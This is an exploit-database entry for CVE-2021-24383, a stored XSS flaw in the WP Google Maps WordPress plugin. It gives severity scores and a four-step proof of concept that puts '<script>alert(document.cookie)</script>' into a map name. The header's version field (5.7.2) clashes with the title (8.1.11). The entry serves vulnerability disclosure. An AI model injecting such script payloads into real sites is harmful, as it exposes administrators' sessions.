WordPress Plugin WP Google Maps 8.1.11 - Stored Cross-Site Scripting (XSS)

2021-06-2300:00:00

Mohammed Adam

www.exploit-db.com

249

3.5 Low

CVSS2

Attack Vector

NETWORK

Attack Complexity

MEDIUM

Authentication

SINGLE

Confidentiality Impact

NONE

Integrity Impact

PARTIAL

Availability Impact

NONE

AV:N/AC:M/Au:S/C:N/I:P/A:N

5.4 Medium

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

LOW

User Interaction

REQUIRED

Scope

CHANGED

Confidentiality Impact

LOW

Integrity Impact

LOW

Availability Impact

NONE

CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N

5.5 Medium

AI Score

Confidence

High

0.001 Low

EPSS

Percentile

41.2%

JSON

# Exploit Title: WordPress Plugin WP Google Maps 8.1.11 - Stored Cross-Site Scripting (XSS)
# Date: 22/6/2021
# Exploit Author: Mohammed Adam
# Vendor Homepage: https://www.wpgmaps.com/
# Software Link: https://wordpress.org/plugins/wp-google-maps/
# Version: 5.7.2
# Tested on: Windows 10
# CVE: CVE-2021-24383
# References link: https://wpscan.com/vulnerability/1270588c-53fe-447e-b83c-1b877dc7a954

*Proof of Concept*

*Steps to Reproduce:*

1) Edit a map (e.g
/wp-admin/admin.php?page=wp-google-maps-menu&action=edit&map_id=1)

2) Change Map Name to <script>alert(document.cookie)</script>

3) Save the Map

4) Stored XSS will be triggered when viewing the Map List
(/wp-admin/admin.php?page=wp-google-maps-menu)